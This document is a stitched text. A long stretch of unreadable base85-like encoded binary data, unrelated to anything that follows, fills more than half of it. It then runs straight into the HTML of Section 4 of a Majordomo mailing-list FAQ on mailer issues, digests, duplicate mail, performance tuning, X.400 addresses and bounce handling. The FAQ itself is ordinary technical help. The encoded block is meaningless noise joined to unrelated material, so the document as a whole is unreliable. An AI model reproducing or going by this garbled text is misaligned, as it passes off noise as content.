zry5F67Nm3vnk!-zw@WcY4X+L%LNXh8<{%;~7IAs~srH1;s|%9xRoNYiB}|nnFKxb> zKYo4il??K0GJ)&mj4R1TKKyE+^o*M6D%BZon~?mVB$f_FSS&YBmKlUO`(jjPui z%(T>AV1x8j_0rzQUnvEWp`(_SC~nY&{-C;Q0pD$}i2u?;MW|MLZ;osgpt7+j`&;U3 zN9`_`h6}gYrJra=Im6ROoy|dZ@lABe#Arx=#te@iDq>`XkWkbdG~vtX3h&vQ13$TP4l{7%XtqU0j#Sly~mvxENW z8%D_Bvg5|WtZ^@8aGRS!0jM7#4M`O$)?^sf!PA{c-9}iNzMbqDuBZ5F0t6D3t>LNl zX~OhV_*F!D7305>t8h6FYpo@_h_GWZ7_0f@a{n~z&;O~o6QZXH@W{S>Y!NHVF?4nP zQ5_wkUQ+;a9kxSOVrRd|7e zNPVj^0sEmtD=0~}ATL*_g6+CRTkM?VSwfOQ?<5pbVdY zM$!V|K{STXno%jz-hj`l?}uOZ%9cCFLQ@yuzr6MpQ{>?g;Z-$8={(UZ*_*`)nO(voYG`8|a5n|HJ$$;@M zeLJXwF7XN;jrQ=Lnpnct$>z6XzRg-K9eE9o1RlL&*z5bbc|duw3i}o`?%uWkfi}9+ zF;q|UAIRxB@+>yXVB(TyUOZD89na}8+s`_5S4kyoss_qcQ-;c%%a~y!8`|8A6MoT3JW9=2W@g$q`SW1d;kbmmNUlNNFCfBgR=< zFUJ&M2I+yI9tTKOGr01ETFucsEwl{WXKyH6K12-QmInbv3xn1$f@U&}_D!{*S* zu{f4QC|Lr$qyZfdPyPd9s$Z8)9%d8k4M}-$1jfrK=sE=%zm?itrMogNC1~R#W!&Xf zEm-VfjoYb}WLiE2OvTUA)>%w#;-t8eiZQwx*+q6+27yExs1c{YYx0xG){>$Mq@8nh zQBi~xUIHGM%8V)PIo8o?lduD$=;&$@PGv7+|D89l0cgq+Li(tTNtzX+7ju4r#9v6x z2w{6HdHD*_=zoozuin$MeyrgK-moY%r&dJIwYd{<%h0X$=h;Mi-`}B+?FN8z`*D(> z&x68E=mQ(_7W@vcxw}WRAuM?Au{5#8Cyt`OLd*lna5HojeEHmn^a>}m51iCB>9hBf zu|8|xne1MNaOI96d8{{h7`&E$73R>pLNiWNKuO+oFWGx!{s~7SU)Ns0KUE{O_$V{? z$@C?>CtRMqsH*`FF0HD_Ak_DuNm>ZAGeqZZhXJD284ZJ%Ex-NrBj#=mLfpV{I1LtU z;3mGpkPtsfEuV`ZPaSvE!7Nx{#*+}ufn%}kTlEa^adZ*uf@}{mS4koi-9+pBP3ez# z)mYEnbm!E4$tu(``Mh>-OEQ@n4M};Hq9&N-61wzSXWj#?SiTt=bPpoEnaoM+Vef6@ zhzKyv2EFWqO4kch^F<)bhU4#BKJY=y*nNN_?e>5_-|B0xxTl<)qT5ZR)>!8b_-=2c zqc?r!oAtDe^bc~H(RwAUEOMHSsT!5~7pr$@DKzVUFAhbCB*Jnjf-z@=bhE==>QNuh zq!Q#C<7n?@9|`m#G~(wl$`{o^`aF!}4hD_|2qrJIc|sQg(xOM=F?cv)Y!ssMH8@tn zVPNWlSetIr9!J3)Ruf)Gv8CXfJGcfNG{|7_N_-%TS>0Y?++E2yg2<&l@^ZaB3XLr< z6Ip!@zzpsX_yTE_2)qGIAd6YL9J zt6AmB&{;^A<^H;xK)N~V^47XHmVh@q<{KAw!uGnZ9a4+r(<(wVdzjcK6b2oYIw;Py zp(^oI?k{4i>|vr7P~7=)rMZ{%VS+bPx?Qp3BBV?%2bn2 zi~NeF77`WU!lA7iyBNR(gZ>e2xiAVx&PdbgZ*lp!ff61=u}>Y>I6=mVZ?$KKPHT>6Z&wQrvXNR)!02-6ImEw5ud7`(i0o*QVDF zN;k(X8}FztP4y?ouq+g5qy+aug7KfN?8pMw{tihO5`44F{ZUW2xcHgKxj3SrBL2Sq zx0K&xA#&x4Wf^T*C4l6^A2TtBIR*>t33MTx4%Um}lI)c187-)?*reXs)mW4U-sc)A zF5(&7bW&@lB%sBC;j4m4F=_*}omEy6{MpB}m{lEG^n1yvpE-GPn5wztB%TQNcpdOf8f%W^c;ux6MtF`hM@f{CqCv(1h`sq*5UuiP%dkn*z!5p>CF z$!|C^BWdE=k_CLIF;A*SA0?oR;d)BMRn0ii=s5-5C*qj(;lA0jl(1D6f61+?p#oYaTvm`eb8Se})xV0h%zj7~ z$#(IbkY$nffIZa<-rhplDngla+Fmcx5@9 zvx*0XT!mzuDNx%&>v?yvkxg&6^c#9iSql0Os+Wf6sw+j3N7{8}Ed>5#JLQl% z(5Pr$(f~v*@0N#LKKl7y4WU-)#YwFnt0`VGSAmqWpQ#vSAPEBYV`4cUdoLC^^JFn? z62u3}BQ`t)fWwFN+^Jg%0vlPiT~?g|IQt3h=@_&Fm48BFseR;U z*6gOF4Nq0{aPH#B6>#5YLn+`ffWfQM(r2jM0Hh@n;Z^^kwK>bcLf|lMKk9VLCvu;Oc#_V_Au2+`!S(C71yt6Dal+(t;Z=@<{fs7ME%ZEvS=U z16u5^#;)bY1&fVwANwt5!GAL&`J=oL<34{~iPnvYGg3mm$W;IQ4bPIWN$?Sd2ZQeP z-iBvN&~HIho90k7eT$pN4%7P85%NROpqo?em;(DiJdP3S%8y5pvpI{Szqd!7h3(T( zZ^dSwu4vgT?tFH8dRnissq;{V^8iR32RN&*+Jq;U92{Zv_vcdr+3GK945C_ej4?Cp zT455w8uoqf*=^mxHpsg$bhr(5`{O724C@O^J#C9bj&R zFZX&`(BDrfb5zd_{g9a^sZF%@yET_fuy?lcif;9+3AfAUC0>8;&&W>n@5?jDZ`Jaw zYrEIp_u&bTaAE{8P4fz9j7#^h9-?kw3SZH%H&d>n9pD|d7YPS*c@Tfpuof^W&WaV~ zulX2bFeDs<>BmAd-=-Sm!ZG^dJOL43rr{DmSVFh=S_UT2cP7Qx=;+TD68Rn9uuKXb zWl_nM5)RGPPbwHqd{Kjz;}+k9xb5-7i&Mp>n~Oj1!^Spx7yn4PUgvz&A$n4di1`Df z4fOV8G`8Kvup?<_Kk25Oc1t&T)7!s9oE^{aN}|P&eeR|VJ40dipGwaE6ah8nc^_^Q zYO|Sgmg(-585C^B`~>YTEL<(;AuKRpF^mZMBEKjk7Z6fz6J#(}bybws(;jFhZqizN zQ3u!Pf_cS!@HVcw7rEq>)vn3q#(MTt%VM^bU{k}8LUW;2-e2@-o?9Qics?!Mx!d!h z?t19V6Q<#lo!4~RDor@XC;{5CZEnnPJKSt5c^N;QCYn68mrROqIhR8Eh)@AA|1c*U za`GZ1FBu5AlP0|+p}vr3G1hGY^M>btX@3(JbaL?-7Ra4j&PN;yJLs^PJIp-1#TJG! zpQWj4KT_?_y;o+{pBh}wiykLeDBtV*KgNz5Dm@xKj0zo`vZw0gXaM+6#=$AxG+NY3 zztrjP3AYO6adParUZjkkK7Sh_Xud~3m*Tj2G2ygZ`Q|+8)osXN&2!xEjujKt{M@*5 zUMg#iituj%C&C=7JBqBpO?BFdOhgG%-lu(^wF|cwVr)x*xd>_Hx=*V*CQ4Rn)*@>R za>la)8U-)U6`!1Tg@F0LEnN5vuaaJ@sw7jXoF~R!u;)DPnUM1>Q6Hx#v4&iFdVV?Z zXCbVi7nw6kgZ2SaxBfHaYT;r{_*e#KlGu-YRs;oDlq}`?npAsLO^qf5syb1e->NbW zW~|Q4!gP*r`F!;LSdgr1;!^5vCV~}|d#r`Uj*zbC)b{%v?gGJR8_YAQr~+su&|uji zod{5l43a-LB<8B{s^+ycHcD*>Hwosm89y<#)q_4hp%+)^X-$cNXRtBmjjx>w zg!BFf#GMU)@)cmcL-`VLm?vHb-lU0id~1Fx!RNmpOK!s{3TVhf!lfMk;EX}OY=~VW z^)>eB<8jJ+1#ljI(MNrgAH@uuYeA9D1N}kJtF)F#6}rX2oDLTL@EZiG(yLtE(Giud zlT0i5^Kh8odD$@X#9dJ_E*O1oIZ#;*6PA<6f!Q$s`qwq4;{geKp^0NIMlUXB8bu~V z+Wm$`;>aV^_=%x_ieh-N&37weu1#=v%vfG2%>CRA0S+Rv^l1JIBi? zj|`syRt0_xm(grlRCmsw%qza~^yr+RvFY?&yP?Z3S}-LdG3AF%xV>D1eCJ)wJBNbp zY&lAGEU@iUu=x05cYqp0HTKcwu92G)x_!wy(FBdAy4oTdvNg zQc>KO1t*aAE@dFF#E6k*W)Iat$KLU&Q`NYZMsBkw;M`|V$L#!X;=lS7gN98uEWT

v22WL3ft;=V6bL_W;704jDkWaE9hjDsiBrURAkdBDv-t&VR zGWf!B<5=Hm$$ZvZ82BFHkLJtMB%sO~J;o=Z!ik=qjgU>^*XYz%b zYA7#i7ovG2dVeVcA~hAQIu$_`mhPG-kya4mJE*^_WwkASU})%z_B1eH2{ObXf#5V; zq2QZtdOWR{SNLvY3#bQ6_dC76nVYP3R4})KDSoaM#L1Wd6*WsR7v6x&Z9L2;$dL7N zL!!Rq+TF|kob)>qihvW(b)e$;t-2+v2^inXAAAhqgnt@0DVll4e#*V={G1pm=AV!J za}?0~N4%y!%|DEKQs>77($ky82_$|BFL?Z%XHI}k3`vB}7md<60(I>C9m2Zv8=$Ns zCkE^ybfqWG>oQ3muA6i#lk=G10~bVOc&S+y3DIS`FtBI?sWUGT5_#x*d~#jDQcgKR zH6#-CX@4;Z;z}zFpNkMJ#>$I^E*$@l=635qg}41C}`*sR@50$6-&IDSyzp$l~$G><5a(&^G$vesm2=y*eBv zXO+6Lr0@=_L3$g<7BFT!X(g(>c=Z-XaqlN@sxXg~&`&TME{pPo03ccTDmji9kx28& zv}m235Pjnoa^?S-&5vDF5{ z&~RR=GXdlWm=ES~_G%(?w$RXfI2qut86 zZ?Mfy;VMs(z`*2{<W+>JH@M7A$7Wr#mW$ z>;HEM>z!>$xJOFA{SLTC$th-V!YJZhen(xE#}SyON%3X(slSr0-e;D=N`FCzU0bDK zRvgcY;vWqHH$V2o2DH93D_QU8AL|)j$G5y}W&X}ZK-8Wen18l(ROQMN#a*WXrka5V z*h&4f*erdB3Qc>rZe8gKTKH|m6|zv=i7eBO3;*1^75o$zG{}H&`c8Vqy+BRWLSt{{ zZwY_%C;#e=eZ`-pmk#*N4}bTJi{<~$$9F&W|Gsy7XJ`BN$2+&ZF6jT~-mm)KFY@!d z?8W1kPY6*eBzcNdeLO4QWRJZ~o|nY7xz6iiJ=+Lnvz|SB^&&}&-1I`?g0>mb1aA=s$e^^fO1tPY!1Qz?K0#oRprT4}TJvo_(rs;b}2D zDWt5dg7&EgWCwm(QH|_R>EC_)`@vy8c~llB)x-V%vxhIG8+se};Jy^#=y?+M%tiNiTSajto`_+AFZ^n2fZf|!xGwsP&_Z>l{{jo;`^Zy0Z zJxfB`;7nV+((c7`g-cSvEzI8`0(Y! zFa5u7)4w18?cnegeev;qhXZ%;hT&82s?mW&Pva2m@6cQHg?~FCeMVx~#z*YF|06jR zj_3F7H}mmyGx=cVHH>PAtGDknTy#3~3nx2#_2}`-msv-AWO&FrT3&}9FfE7KM<0DR zL9Dzn~*G(aAcjddTpukRwjsV|Pp2 zpk#S8)Xn5p|9|$k6y*BRZ?ixCF_YoMH@DIkO5P+N5n0bUg<$;I*8VoPZc)4c0jR-i zkQ124-dY|pem5R5$~Gq7+NzfSFZRNUhO~upf;R56C)&@(iqwh#O>s=k$&AsfS-*z^oSH6vS z|MH6xCybqz3*Ju`Ebk!SId0zBccw+2{qvt$v!C*PvxjE2hV6j8`n$lN&%I-n9WFM1 z-Ryib-H65f_3~EKJxd$x!Rut})uUoMw;N9=!}*Ks(FsO_%b}p(m6fRPZpnlHw-+3vqL^;@DcYF%i#9&l%>H+_ zvngZ6WBxnp$63LQX(+ZqwAW|ExH18W6M0(^)6gIZon&UPkvMmZfevFx+PED=p0Vts z*WYe`FH?eOlvH}7DN)Gq(Q9!ap{8(G$%B=cKO8`_6*M=-#%k0dwOtFL4oI4LuGn@}LvqsU;6hqR zUj)U}CO2uHn@9g`@^9di)LIH3uKx%lv?ro zmPgn%7n8of|B-s_{rcwD#>U&*^`4e&)PHaGHceClHNAvx2FJB{e0a=1Wd6}1b12TN zMjLKH!CpGNsxU;_4;UNXO=G?yfJ7n_E#G1yqbP5iA%r?4BM!z1(Q_*_K)NgQH{@WG z5tzNDZMK7#!)ej1bbB7NX1l6)0d;#K^ai;Z9!78fxf6>5WO>;`gVlfNCkM>%e1B>W z8}{aJhAftx=V{`fXuXelgyNwLl4a?KlU={ zfB%F3zx$Be>Disaupcy5?zyd@)O;{^o_Oy3E;wOyehGOjE&@~t^-n*`hfv{1528Xi zgEf{AvLwJmD=Vw3tC-aB+#0`l`F}duGh-znvGs12CHW=6P}|zs$<@)>B2>0%7fZM} zdzJi8LvmH?9S}CZ1*>@%E9?Q1js%mjrBMj$@N~tiigd~OS;j_rUAr&=RXJkVUW{q} z_2JSs}FQ*F5tcKJe>CBQ4PGspIX)8&yl20qWGm>3uM6@TK&tX<%Y zBfd}2NgA^-`74PVc1Ud&7W0rzBJP1`}}7e%Qsv9{GFh2 zUcMc8L`^4g^D%Tll^Ob;Bb?f^uZt|a7glJH;S00G#KJ8`G|H1Ju8_5?J$~%^uQ7&D z2?TUFOsBMHZiq0e@uz0@R)4Gasb#)3^}g9KwJscY;=OOsd~8kOAuDAu4K3DiQM73$ zG!fuK0dq)`LvwiLwrqxJYvctyYN^HZ>$hmF=m3^~+IeQ`kIfG|&uVR8vzwGUyje3f z0JN5AwSWnNr42f^47F}AZ7QW|uGm)zZ);ie&&#%!;b^o7j`k}%Ab-#3{9=5RjnV;~ zL@~e5IO^~v;6!~k5tB9#VZL|Xnj669haLOfQ6Ms#vzimhU$e`m9%Vk`1eYT_g0*h9 z|JFwZw;1^^#lE(fRJXuB z2XnSiLlkv+Yi>ojsU@TE8PLAnd?(Yrq5%EY_dCzGdC}qDqxo^G5;iPV;>&`U3O7ra zDR)$3My?f{2)#|HTqw<43_>_-@8l6gK02otHK>qQbo{F=8kb(aFkJ7R&kImRYsDmrZ)oArqn%EN_YfI%eqwOVH|WVfM}*tQw%Ff3@x(KPCGQ4K)2b z_JLL&4}b36TVnsa_8m{P1y0C>p%xP=hdO*N5>%yN=4>cK!S`Yu5*3kBw^q$(L$tw zU4MbU{kJTGdh_t{+g|U4AFh`llFiFUtpEA;ZPrU;1R4BGhJ^TqU0B|Tr_oz{q#-_D zZSC#-^2}haC}wJKAjv;~#^(Yxxb4IwK;KY+n(||gBv^h(W z4lnsiT?%*;2?@=W`cXVAzSY^He#v?);)6+YZs*K79*5=WLapj4N$u)st$*RPR!U=V z);RSkJbPqrzKW-Lf_V#pb%6CnXy*6mX#NpPeMZQJSN6>bntu@3;#=;iZ2z)s5r16- zOrJs;!&$SOAU|}T5$0U zN+7cC&0xK12J63V2EG`zj$ZYH>|}xwoCACiHit%ih*^M1sdv@hhGb$Ywz$#zwcb;r z8r2#iqIfDnVT732fa06cD#q?W*MEOnnI;8weV1J1<|_h6T!~f7#~hm)e*dboz6J&E zq8z7974ct(bfHz~R(kzmlpVz*dk=B1+*(sw>)&&&NvtnZ$G=4LTcsa8Sz4FzZJV=# z=V5Jrw6r>-su;lgOK%)$XXD(%VGo`AnDrjcj=iu!Q_w4Xj_*UgSVOD zhYz@6gl6QLgb&^zhVMyZ=!%pWMRI3Tw{~V6R@$4Iz>Bv?Fh2tGTATWuO&NmPYwdNF zh;lO?GN1(+0cQW|BfXRP+kf@?>i%%qf4qdFj~0o2rk@_d{oIZe9gjZJ+_?zMp1G>^91$*74NhpAHB=y=<~xzkG2v!MupZ@US2*?29R8-aBZ%`SqZA(0Y68poP$7R`8CeoU9rsxKN|^=GWTWTQw|v zY1!_rhe(7!?%wJh^nc~D$a}v6iQcon;7475)eq^^{;PSU|IMF;{J(g9V_>~6?PEFr zzkcWL-FxW&eeeF-dLRD%5Aq28lmGuiJ{14goDBz0M)S$wv>WHcZhn$tPy^F+oO>(M z*umx*XCEe`bc7C$Z3xh_7Cnn+$%ffKowv<;A9;P^^iBW4#(%y08|&+)v-V(Z4Vrzn z--@CiZPK9&qw)69+>4u+u)vryayqLF{m1eCDO$Zv-z$|hSu#b@(9C@tkmW-wX=B+40W4AS5Ook91=?Q z(NJd!i2Lu^5r4L{Gh@wLu0cC6(v=--5c;?+Atq6HlG62&+9FL%2|l~vtS+iVz=&Bq zb`I!~NmQx%jN@QYYFZBWlI9w&%lH9jS`@_N7^Y`q!P`)x!vu#vF*kV#heydFj}pVs zj0Tv+DxvVuM=9-quA>W4$pIN{m=a1wOP9nMM!cgi@qa1C!<|XIRNc02v_n3$l!%OC z4;@q5%i#&9H_4{rri}3qx$!n<#L3BuaF|(_fGmr|ViNt9B+#pLDPaU9EI;}>U!0|A zh;-3*QBl~Nijt~nwvr%ucOf7lHLaC+=XPvDFFSyU3#f{pV@7Ho!F(=Cf7=s1(-A|G83Hyj~|L0>#2N!W@9L}IJ!^kTD;e28! zDb%UW>Q07%GfZ^Fa7A9z9a@=ba*}*F%OhTGqF30=IKCjiafv^Q!4-EH7R5`0VUa4> z!2Weu7$8h|d75>MVbd}lRpjE^PDh>%hsO)XTq8HsK^6 z#D8ZP<%;7OakfT=I5f7^oWl(4XE7#vp0p#)smDj(GW?Quio$)7bNflk&iLdgge_ra zMM{*T2cOcG9HXZUP#PGJYXp=idP7oXxcP+T%9A-6%|by7hCgibHD>BBSMadK8Ymx5dwD< zea{KLaWLa}=^C?~_A0P~ z6o0}NburAx&h%4f{Mo$e420bH)PL+eMT0=%r`{e+_GTGgT8v&k^XP9{r;$xs7@XZV z2EKKE)9h{=6$%zE+$L4KZC1j$arw``VO4G~sBtD8ebG3sw$`6IXJ4}1RlxP&PWzh& z9&jZe(wW$jMRXyU!ji*4J1p9Oi;-OuMbwe{zW^cQj8;%Mut{IoLB!-L*nj&f?|rp) z2csa@fBx9mdHHnr#m>tg8Yme^TU-TuKrGeC#gA88|7_-zZ%^!ggLk1N$7>orVUW}c zF$^0mdFsJa1#NF9A^VD9~>z8kTlqne$kNPiqzcz{AB}H+omlB4$DZqK# zQJ($Q?S5M}>-OzdsecjWg>5^(r4eG5f73{y%J^X-Jo#MF-1D86+k4U;k1c3XUSF-r7k^uSJ>2?1M%V1TkTWVR z+P6y^V-$JYyCrJOg&{B7#oG>%7EZlw6z%Z9WizC%XK{U-8eDi&F1Z=?bA5!h>FN!!}c#pcXd?}F8zML-CzGkNf*}5Djt=AJl-t4DPTH%DaRW5 z+#CD|(aO=^*?$GeVW8Y$F*1!2Iz?{0qrYPtZzkC!d0TU#X5hKkEb1?c%^nMeEw + + The typical way to do #2 is to set restrict_post to: +
+mylist:mylist-nomail
+
+ + Then, create a configuration file and password for "mylist-nomail", but +DO NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner)

+ + The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list.

+


+

+

Section 4: Mailer and list administration problems

+ +

4.1 - Address with blanks are being treated separately

+If a subscriber to the list is
+John Doe < jdoe@node.com> +

+it gets treated these as the three addresses:
+John
+Doe
+< jdoe@node.com>

+ +[From Alan Millar]
+Majordomo does not treat these as three addresses. Apparently +your mailer does. +

+Remember that all Majordomo does is add and remove addresses from +a list. Majordomo does not interpret the contents of the list +for message distribution; the system mailer (such as sendmail) does. +

+I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the +end of each line was effective to fix the problem, and I got to keep +my comments. So I patched Majordomo to add the comma at the end +of each address it writes to the list file. +

+You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. +

+ + +

4.2 - Why aren't my digests going out?

+[from John Rouillard]
+ +
+  echo mkdigest [digest-name] [digest-password] | mail majordomo@...
+
+This will force a digest to be created. Or you can set the max size in +the digest list config file down low, and force automatic +generation.

+ +

4.3 - Why do I get duplicate mail sent to the list?

+ +If you're running MMDF, read on: [From Gunther Anderson]
+Well, I can tell you what happened to me recently. We use MMDF here, +which certainly colors the picture a little. What was happening here was +that MMDF was verifying the validity of the whole mailing list before +returning from the Submit call. The thing calling the Submit would time +out and close, but the Submit itself would still be running somewhere. +The calling routine would believe that the message had failed in its +delivery, but the Submit would eventually succeed. The calling process +would try again some time later. This, of course, is bad. The larger +the list got, the more addresses there were to verify (verification was +really just a DNS search on the target machine name), the more likely, +under load, that the message would duplicate. We finally got so large, +with so many international addresses (which seem to timeout on DNS +queries much more often than US addresses) that we were always +duplicating. Infinitely (until I killed the original submitter). +

+The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the +addresses before accepting a job. We used the list-processor channel, +and only had to check that the listname-request name was set properly, +because list-processor insists on making listname-request the envelope +"From " header name.

+ +If you're running Sendmail, this is more rare. There have been +unconfirmed reports that on some systems having the queue process +interval set too short can cause problems, even though sendmail is +supposed to handle this. Workarounds are to increase your +queue process interval (-q flag), or decrease the interval +between queue checkpoints (OC flag in sendmail.cf).

+ +There have been many reports from Linux users complaining about +duplicate mail. The problem seems to be that flock() under +Linux is broken. This may be fixed in a future release, but +for now in sendmail's conf.h in the #ifdef __linux__ +section add a line #define HASFLOCK 0. There +are also reports that some versions of the libc have problems, +and that linking with the libresolv.a from a recent BIND version +will work around the problem.
+[ Please let me know if you have any more information --ed ] + +

4.4 - How do I gate my list to and/or from a newsgroup?

+The easiest method is to use a program called newsgate. +You can find it at ftp://ftp.isc.org/isc/inn/contrib/. +Installation instructions are straightforward, it provides sample entries +for your newsfeeds/sys file and aliases entries. The newsgate +package includes news2mail and mail2news. + +

4.5 - How can I improve Majordomo's performance?

+

Mail to list throughput

+ +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail +to the list. Upgrading your sendmail to version 8.x +will improve things greatly, as this version has a lot of enhancements +which use connections more efficiently. For most lists, this +is enough. Majordomo itself doesn't use very much in the way of +resources except perhaps memory. Adding more memory will help if +your machine does a lot of paging +during mail delivery.

+ +Using other mailers instead of sendmail has met with varying success. +Exim can also be used (see +http://www.exim.org/). qmail has +been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way +than sendmail (some would say paranoid). See +http://www.qmail.org. +The qmail site includes at least one way to get majordomo to work with +qmail. Note that it is possible to get majordomo working under +qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the +Using +Majordomo with qmail FAQ, written by Russ Allbery.

+ +If you are using Exim instead of sendmail there +are more things you can do. Instead of concealing the -outgoing +addresses, it is possible to configure Exim so that those addresses are +only usable by the local majordomo user. A description of how to do +that can be found at +http://www.netmaster.ca/exim/majordomo.html as well +as other information about configuring majordomo with Exim.

+ +If your lists are very large you may try installing bulk_mailer, by +Keith Moore. It pre-sorts the list into chunks grouped by site, and +passes the resulting chunks off to individual sendmail processes for +delivery (see note next paragraph). Get it from +ftp://cs.utk.edu/pub/moore/bulk_mailer/. It installs simply by replacing your usual -outgoing +alias with (line wrapped for clarity): +

+sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site
+    /path/to/lists/sample"
+
+ +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one +problem. Until version 1.3 it didn't understand parenthesized comments +in addresses, resulting in incorrect sorting and reduced performance. Your +list must be configured with strip=yes in the list configuration +file if you don't upgrade to 1.3 or higher.

+ +TLB is another package which is like bulk_mailer, but has other +features. You can get it from +ftp://ftp.hpc.uh.edu/pub/tlb/. +The advantage of TLB is its greater configuration flexibility, and +also the fact that it's possible with TLB to eliminate the -outgoing +address, making configuration easier and lists more secure.

+ +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to +verify that the sender is subscribed to the list). Think twice about +using this option with very large lists. + +

Majordomo command processing

+Most of the improvements in this are experimental and not widely +available or not yet completed but scheduled for future releases. Some +areas include: improvements in shlock.pl to use exponential backoffs to +reduce contention and starvation of locks, using some sort of dbz-style +database for subscription lists to speed up subscribe and unsubscribe +commands, and changes in the configuration file system to allow faster +parsing and faster execution of certain commands such as "lists". +If you are interested in working on improvements in this area, +join the majordomo-workers list mentioned above. If you make +any specific patches or additions available, please let me know so +I can add references to it here. + +

4.6 - How can I handle X.400 addresses?

+Majordomo by default treats addresses starting with "/" as "hostile", +and won't let people subscribe. This is to prevent someone +from subscribing a majordomo-owned filename to the list, and being +able to write by sending mail to the list. Unfortunately, all +X.400 addresses begin with a "/". See the $no_x400at and $no_true_x400 +variables and the associated comments in the majordomo.cf. There +is a reported bug in 1.94 - you may need to change both tests for +these variables in majordomo.pl to put "main'" before them. Like this: +
+        if (!$main'no_x400at) {
+
+
+        if (!$main'no_true_x400) {
+
+

+This is fixed in Majordomo 1.94.1 and higher.

+ +

4.7 - Why is the Subject of my messages missing?

+[from Dave Wolfe]
+But it's not. Oh, you probably mean "Why is the subject line of +messages to my moderated list blank?" Because you didn't include any +headers after the Approved: header in the body of the messages. Or you +deleted them when you approved the bounced messages.

+ +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original +message (as opposed to a bounced message), you have to also fill in some +headers to be sent out, such as Subject:, To:, and From:.

+ +See section Question 3.10 on how to approve messages +to moderated lists.

+ +This is also explained in Doc/list-owner-info, which should be sent +to all list owners and moderators.

+ +

4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I stop this?

+Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you +why in the Subject of the message. Here's a list of the most common +bounce reasons:

+ +An "Admin request" bounce means that the list is configured to filter +out what it thinks are "administrivia" messages, and it thought that +message was one. These are messages such as "subscribe" or "unsubscribe" +or "help", which get sent to the list instead of majordomo. Lists generally +have this turned on by default. If you don't like it, set "administrivia=no" +in the list config file. If that doesn't work, check your aliases to make +sure the "-s" option to resend isn't being used on that list.

+ +An "Approval required" bounce means that the list is moderated, and +the message needs to be approved. (see section 3.10 of this FAQ)

+ +A "Message too long" bounce means that the message was longer than +the "maxlength" setting in the list config file.

+ +If you get any of these bounces messages and you think the mail is OK +to send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this +FAQ. + +

4.9 - My list configuration doesn't seem to be working.

+If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 +of this FAQ on how to set up the aliases for the list correctly to pipe mail +through "resend".

+ +Other things to check would be that the arguments to "resend" are only +"-h", and "-l" (and perhaps "-C" if you use virtual domains). resend +used to be configured with other command line flags to do things such as +have moderated lists. However these flags override any config file +settings, so remove them if they are present. All configuration should +be done now through the config file.

+ +

4.10 - How do I set it up so that the originator of a message doesn't get a copy of his/her own message back?

+You can't. Sorry. The "metoo" setting in sendmail has no effect after +a message is piped through an external program. Unless you're willing to +give up piping messages through "resend", there's no way to stop this. +

+

4.11 - With Smail or Exim, users subscribing to a list sometimes get mail sent before they subscribed

+[from Lazlo Nibble and Philip Hazel]
+This is due to the way Smail and Exim deliver mail. With sendmail, +it expands its delivery list when the mail first arrives. If the +list gets changed, the message will still get delivered to the original +recipient list, since the original list is never referred to again. +As sendmail delivers mail, it removes addresses from its expanded list +as they get delivered.

+ +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long +as the message is queued waiting for one or more addresses in the list, it +will get sent to any new recipients whenever the queue gets processed next. +This is rather unexpected for those used to sendmail's behavior.

+ +The advantage of smail and exim's approach is that if an address in +your list is unreachable (or has a bad .forward file), you can change +the list contents (or the .forward file) and the message will be delivered +to the new address when the queue next gets processed. It won't deliver +to the old, bad address.

+ +There really isn't an easy solution to this, but it's really not a serious +problem.

+ +

4.12 - Majordomo doesn't seem to work with sendmail 8.9

+The new security features of sendmail don't allow :include: directories +to be group writable. Unfortunately, by default these directories are +group writable with Majordomo. If you have this problem you will +see errors from sendmail like "Cannot open /path/name: Group writable +directory" and "aliasing/forwarding loop broken".

+ +One solution is to add:

+

+O DontBlameSendmail=groupwritabledirpathsafe
+
+in your sendmail.cf and restart sendmail.

+ +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure +also any parent directories to not have the group or other write bit +set. If Majordomo is working correctly having group write permission +is not necessary. However, some people find it convenient to have +group-write access so users can be put in the majordomo group and not +need root access all the time to work on majordomo. + +

4.13 - I can't get Majordomo to work with RedHat Linux

+ +If you are trying to use the Majordomo RPM, it is broken. The +majordomo.cf which comes with the RPM has the line +
+$whereami = `hostname`;
+
+ +This is broken for two reasons. First, the hostname may not necessarily +be a fully-qualified domain name, and thus this won't generate a valid +Internet email address. Secondly, using `hostname` generates +a linefeed character at the end, which totally screws things up, and you +end up getting blank lines in headers (and you'll start to see headers +appear in the body of the message).

+ +The solution is to edit the line and put in your correct host name +or mail domain.

+ +A bug report has been filed with RedHat.

